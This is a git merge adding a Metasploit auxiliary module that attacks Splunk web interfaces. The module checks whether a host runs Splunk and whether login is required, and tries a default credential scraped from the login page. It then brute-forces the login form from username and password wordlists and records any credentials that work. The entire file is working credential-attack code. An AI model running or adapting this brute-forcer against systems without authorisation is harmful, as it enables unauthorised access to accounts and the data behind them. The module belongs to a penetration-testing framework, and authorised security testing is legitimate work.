Merge branch 'kost-aux-scan-splunk-login'

modules/auxiliary/scanner/http/splunk_web_login.rb

@@ -0,0 +1,183 @@
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# web site for more information on licensing and terms of use.
+#   http://metasploit.com/
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Auxiliary
+
+	include Msf::Exploit::Remote::HttpClient
+	include Msf::Auxiliary::Report
+	include Msf::Auxiliary::AuthBrute
+	include Msf::Auxiliary::Scanner
+
+	def initialize(info={})
+		super(update_info(info,
+			'Name'           => 'Splunk Web interface Login Utility',
+			'Description'    => %{
+				This module simply attempts to login to a Splunk web interface.  Please note the
+				free version of Splunk actually does not require any authentication, in that case
+				the module will abort trying.  Also, some Splunk applications still have the
+				default credential 'admin:changeme' written on the login page.  If this default
+				credential is found, the module will also store that information, and then move on
+				to trying more passwords.
+			},
+			'Author'         =>
+				[
+					'Vlatko Kosturjak <kost[at]linux.hr>',
+					'sinn3r'
+				],
+			'License'        => MSF_LICENSE
+		))
+
+		register_options(
+			[
+				Opt::RPORT(8000),
+				OptString.new('URI', [true, "URI for Splunk Web login. Default is /en-US/account/login", "/en-US/account/login"]),
+				OptPath.new('USERPASS_FILE',  [ false, "File containing users and passwords separated by space, one pair per line",
+					File.join(Msf::Config.install_root, "data", "wordlists", "http_default_userpass.txt") ]),
+				OptPath.new('USER_FILE',  [ false, "File containing users, one per line",
+					File.join(Msf::Config.install_root, "data", "wordlists", "http_default_users.txt") ]),
+				OptPath.new('PASS_FILE',  [ false, "File containing passwords, one per line",
+					File.join(Msf::Config.install_root, "data", "wordlists", "http_default_pass.txt") ])
+			], self.class)
+	end
+
+	def run_host(ip)
+		if not is_app_splunk?
+			print_error("Application does not appear to be Splunk. Module will not continue.")
+			return
+		end
+
+		print_status("Checking if authentication is required...")
+		if not is_auth_required?
+			print_warning("Application does not require authentication.")
+			return
+		end
+
+		status = try_default_credential
+		return if status == :abort
+
+		print_status("Brute-forcing...")
+		each_user_pass do |user, pass|
+			do_login(user, pass)
+		end
+	end
+
+
+	#
+	# What's the point of running this module if the app actually isn't Splunk?
+	#
+	def is_app_splunk?
+		res = send_request_raw({'uri' => datastore['URI']})
+		return (res and res.code == 200 and res.body =~ /Splunk/)
+	end
+
+	def get_login_cookie
+		res = send_request_raw({'uri' => datastore['URI']})
+
+		uid             = ''
+		session_id_port = ''
+		session_id      = ''
+		cval            = ''
+
+		if res and res.code == 200 and res.headers['Set-Cookie']
+			res.headers['Set-Cookie'].split(';').each {|c|
+				c.split(',').each {|v|
+					if v.split('=')[0] =~ /cval/
+						cval = v.split('=')[1]
+					elsif v.split('=')[0] =~ /uid/
+						uid = v.split('=')[1]
+					elsif v.split('=')[0] =~ /session_id/
+						session_id_port = v.split('=')[0]
+						session_id = v.split('=')[1]
+					end
+				}
+			}
+			return uid.strip, session_id_port.strip, session_id.strip, cval.strip
+		end
+
+		return nil
+	end
+
+
+	#
+	# Test and see if the default credential works
+	#
+	def try_default_credential
+		p = /Splunk's default credentials are <\/p><p>username: <span>(.+)<\/span><br \/>password: <span>(.+)<\/span>/
+		res = send_request_raw({'uri' => datastore['URI']})
+		user, pass = res.body.scan(p).flatten
+		do_login(user, pass) if user and pass
+	end
+
+
+	#
+	# The free version of Splunk does not require authentication. Instead, it'll log the
+	# user right in as 'admin'. If that's the case, no point to brute-force, either.
+	#
+	def is_auth_required?
+		uid, session_id_port, session_id, cval = get_login_cookie
+		res = send_request_raw({
+			'uri'    => '/en-US/app/launcher/home',
+			'cookie' => "uid=#{uid}; #{session_id_port}=#{session_id}; cval=#{cval}"
+		})
+
+		return (res and res.body =~ /Logged in as (.+)/) ? false : true
+	end
+
+
+	#
+	# Brute-force the login page
+	#
+	def do_login(user, pass)
+		vprint_status("Trying username:'#{user}' with password:'#{pass}'")
+		begin
+			cval = ''
+			uid, session_id_port, session_id, cval = get_login_cookie
+			if !uid or !session_id_port or !session_id or !cval
+				print_error("Failed to get login cookies, aborting!")
+				return :abort
+			end
+
+			res = send_request_cgi(
+			{
+				'uri'       => datastore['URI'],
+				'method'    => 'POST',
+				'cookie'    => "uid=#{uid}; #{session_id_port}=#{session_id}; cval=#{cval}",
+				'vars_post' =>
+					{
+						'cval'     => cval,
+						'username' => user,
+						'password' => pass
+					}
+			})
+
+			if not res or res.code != 303
+				vprint_error("FAILED LOGIN. '#{user}' : '#{pass}' with code #{res.code}")
+				return :skip_pass
+			else
+				print_good("SUCCESSFUL LOGIN. '#{user}' : '#{pass}'")
+
+				report_hash = {
+					:host   => datastore['RHOST'],
+					:port   => datastore['RPORT'],
+					:sname  => 'splunk-web',
+					:user   => user,
+					:pass   => pass,
+					:active => true,
+					:type => 'password'}
+
+				report_auth_info(report_hash)
+				return :next_user
+			end
+		rescue ::Rex::ConnectionError, Errno::ECONNREFUSED, Errno::ETIMEDOUT
+			print_error("HTTP Connection Failed, Aborting")
+			return :abort
+		end
+	end
+
+end